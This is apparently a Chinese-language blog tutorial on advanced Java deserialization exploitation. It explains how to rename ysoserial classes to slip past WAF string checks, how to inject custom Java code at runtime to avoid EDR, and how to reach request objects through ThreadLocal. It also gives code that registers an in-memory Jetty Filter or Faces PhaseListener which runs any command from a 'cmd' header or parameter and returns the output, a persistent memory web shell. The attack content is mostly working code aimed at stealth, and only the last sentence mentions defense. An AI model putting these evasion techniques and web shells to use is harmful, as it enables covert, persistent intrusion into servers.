Java反序列化漏洞利用进阶:绕过WAF和EDR,实现隐蔽攻击

这篇文章主要讲解在Java反序列化漏洞利用中,当已经找到一条可以实现远程代码执行(RCE)的Gadget Chain后,如何更加隐蔽地进行攻击,主要包括以下几个方面:

  1. 绕过简单的WAF(Web应用防火墙)
  2. 运行时注入自定义类
  3. 利用ThreadLocal绕过数据过滤
  4. 劫持HTTP请求流程
  5. 使Gadget Chain更加隐蔽

绕过简单的WAF

原理

一些简单的WAF会通过检测序列化数据中是否包含特定的字符串(如"Runtime", "Process", "exec", "shell", "ysoserial"等)来判断是否存在攻击。

绕过方法

  • 重命名类名和包名: 修改ysoserial等Gadget Chain生成工具的源代码,重新编译,避免使用默认的类名和包名。
  • 避免直接调用敏感方法: 不要直接使用Runtime.getRuntime().exec("whoami")这样的代码,可以尝试其他方式实现相同的功能。
  • 修改ysoserial中的字符串: ysoserial在生成类名时会使用"ysoserial.Pwner" + System.nanoTime()这样的字符串,可以修改这些字符串,避免被WAF检测到。

示例

修改ysoserial源码,将clazz.setName("ysoserial.Pwner" + System.nanoTime());改为clazz.setName("MyClass" + System.nanoTime());,将Reflections.setFieldValue(templates, "_name", "Pwnr");改为Reflections.setFieldValue(templates, "_name", "MyName");

运行时注入自定义类

原理

传统的RCE Payload直接执行系统命令,容易被EDR(Endpoint Detection and Response)检测到。一种更隐蔽的方法是,只在运行时注入Java代码,利用服务器已有的类和方法来实现攻击目的,例如读写文件、访问内部服务等。

方法

  • 修改ysoserial的Gadgets类: 修改createTemplatesImpl方法,使其可以接受Java代码作为参数,而不是直接执行命令。
  • 利用TemplatesImpl定义多个类: TemplatesImpl类可以用来定义多个类,这样可以实现更复杂的功能,例如实现特定的接口,与服务器上的其他类进行交互。
  • 从JAR文件导入类: 通过修改ysoserial的Gadgets类,可以实现从JAR文件导入类的功能,这样可以将自定义的类打包成JAR文件,然后在运行时注入到服务器。

示例

修改Gadgets类,接受Java代码:

java 复制代码
public static <T> T createTemplatesImpl (final String code, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory ) throws Exception {
    final T templates = tplClass.newInstance();
    // ...
    clazz.makeClassInitializer().insertAfter(code);
    // ...
}

调用示例:

java 复制代码
String code = "java.io.File file = new java.io.File(\"/tmp/test.txt\");" +
              "java.io.FileWriter writer = new java.io.FileWriter(file);" +
              "writer.write(\"Hello, world!\");" +
              "writer.close();";
Object templates = Gadgets.createTemplatesImpl(code, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);

利用ThreadLocal绕过数据过滤

原理

在某些情况下,服务器可能会对请求或响应中的数据进行过滤,导致无法直接传递Payload或获取数据。可以利用ThreadLocal来访问当前线程的上下文信息,获取HTTP请求和响应对象,从而绕过这些限制。

方法

  • 分析ThreadLocal: 通过反射API,可以获取当前线程中存储的ThreadLocalMap,并遍历其中的Entry,找到与Web应用相关的对象,例如FacesContextImpl(Javax Faces)或ServletRequestAttributes(Spring)。
  • 获取请求和响应对象: 从ThreadLocal中获取的Web应用对象中,可以获取HttpServletRequest和HttpServletResponse对象,从而读取请求参数、设置响应内容。

示例

获取Javax Faces中的请求和响应对象:

java 复制代码
HttpServletRequest req = ((HttpServletRequest) FacesContext.getCurrentInstance().getExternalContext().getRequest());
String param = req.getParameter("param");

HttpServletResponse resp = ((HttpServletResponse) FacesContext.getCurrentInstance().getExternalContext().getResponse());
resp.getWriter().write("Result: " + param);

获取Spring中的请求和响应对象:

java 复制代码
ServletRequestAttributes reqAttributes = (ServletRequestAttributes)RequestContextHolder.currentRequestAttributes();
String param = reqAttributes.getRequest().getParameter("param");

PrintWriter writer = reqAttributes.getResponse().getWriter();
writer.println("Result: " + param);
writer.flush();

劫持HTTP请求流程

原理

通过在运行时注册Filter(Jetty/Tomcat)或PhaseListener(Faces),可以拦截HTTP请求,实现持久化控制或执行恶意代码。

方法

  • Jetty/Tomcat: 通过WebAppContext获取ServletContext,然后注册自定义的Filter,拦截特定URL的请求。
  • Faces: 注册自定义的PhaseListener,在特定的Phase(例如RENDER_RESPONSE)执行恶意代码。

示例

在Jetty中注册Filter:

java 复制代码
WebAppContext.Context ctx = (WebAppContext.Context) ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest().getServletContext();
Field this0 = ctx.getClass().getDeclaredField("this$0");
this0.setAccessible(true);
WebAppContext appCtx = (WebAppContext)this0.get(ctx);

appCtx.addFilter(new FilterHolder(new Filter() {
    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        if(((HttpServletRequest) servletRequest).getHeader("cmd") != null) {
            String cmd = ((HttpServletRequest) servletRequest).getHeader("cmd");
            String result = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
            servletResponse.getWriter().write(result);
            return;
        }
        filterChain.doFilter(servletRequest, servletResponse);
    }
}), "/*", EnumSet.of(DispatcherType.ASYNC, DispatcherType.REQUEST, DispatcherType.FORWARD));

在Faces中注册PhaseListener:

java 复制代码
LifecycleFactory lifecycleFactory = (LifecycleFactory) FactoryFinder.getFactory(FactoryFinder.LIFECYCLE_FACTORY);
Lifecycle applicationLifecycle = lifecycleFactory.getLifecycle(LifecycleFactory.DEFAULT_LIFECYCLE);

applicationLifecycle.addPhaseListener(new PhaseListener() {
    @Override
    public void afterPhase(PhaseEvent phaseEvent) {
        try {
            HttpServletRequest req = (HttpServletRequest) FacesContext.getCurrentInstance().getExternalContext().getRequest();
            if (req.getParameter("cmd") != null) {
                String cmd = req.getParameter("cmd");
                String result = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
                HttpServletResponse resp = ((HttpServletResponse) FacesContext.getCurrentInstance().getExternalContext().getResponse());
                resp.getWriter().write(result);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void beforePhase(PhaseEvent phaseEvent) {}

    @Override
    public PhaseId getPhaseId() {
        return PhaseId.RENDER_RESPONSE;
    }
});

使Gadget Chain更加隐蔽

原理

在反序列化过程中,如果Gadget Chain的构造不当,可能会抛出异常,从而暴露攻击行为。为了使攻击更加隐蔽,需要深入理解Gadget Chain的代码流程,避免抛出异常。

方法

  • 处理Translet异常: 在使用Translet相关的Gadget Chain时,可能会抛出NullPointerException,可以通过初始化namesArray字段或设置transletVersion字段来避免。
  • 处理CommonsCollections异常: 在使用CommonsCollections相关的Gadget Chain时,可能会因为Transformer Chain的返回值不是Comparable类型而抛出异常,可以通过在Chain的末尾添加ConstantTransformer("")来避免。
  • 处理CommonsBeanutils1异常: 在使用CommonsBeanutils1 Gadget Chain时,可能会因为getOutputProperties方法返回的对象不是Comparable类型而抛出异常,可以通过使用NullComparator来避免。
  • 将Gadget Chain封装在真实对象中: 如果应用程序期望接收特定类型的对象,可以将Gadget Chain封装在该类型的对象中,避免应用程序抛出类型转换异常。

示例

处理Translet异常:

java 复制代码
clazz.getConstructors()[0].setBody("this.namesArray = new String[0];");

处理CommonsCollections异常:

java 复制代码
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
    transformer,
    new ConstantTransformer("")
});

处理CommonsBeanutils1异常:

java 复制代码
Constructor<?> nullComparatorConstructor = Reflections.getFirstCtor("java.util.Comparators$NullComparator");
Comparator<?> nullComparator = (Comparator<?>) nullComparatorConstructor.newInstance(true, null);
BeanComparator comparator = new BeanComparator("lowestSetBit", nullComparator);

总结

本文介绍了一些高级的Java反序列化漏洞利用技巧,包括绕过WAF和EDR、运行时注入自定义类、利用ThreadLocal绕过数据过滤、劫持HTTP请求流程、使Gadget Chain更加隐蔽等。这些技巧可以帮助攻击者更加隐蔽地进行攻击,但也提醒我们,需要不断加强安全防护,及时修补漏洞,才能有效地保护系统安全。

相关推荐
Snow_Dragon_L37 分钟前
【MySQL】语言连接
android·数据库·后端·sql·mysql·ubuntu·adb
数据智能老司机2 小时前
使用 Databricks Lakehouse 构建现代数据应用程序——使用 Delta Live Tables 应用数据转换
大数据·架构·数据分析
数据智能老司机2 小时前
使用 Databricks Lakehouse 构建现代数据应用程序——使用 Delta Live Tables 管理数据质量
大数据·架构·数据分析
数据智能老司机2 小时前
使用 Databricks Lakehouse 构建现代数据应用程序——在Unity Catalog中管理数据位置
大数据·架构·数据分析
wn5312 小时前
【Go - 小顶堆/大顶堆】
开发语言·后端·golang
安清h2 小时前
【基于SprintBoot+Mybatis+Mysql】电脑商城项目之修改密码和个人资料
数据库·后端·mysql·spring·mybatis
黑兔子3 小时前
Java|导出Excel文件
java·后端
二闹3 小时前
Java抽象工厂模式的面试题目及其答案
java·后端·面试
uhakadotcom3 小时前
Next.js 框架中 CVE-2024-34350 和 CVE-2024-34351 漏洞原理与安全升级通知
前端·架构·github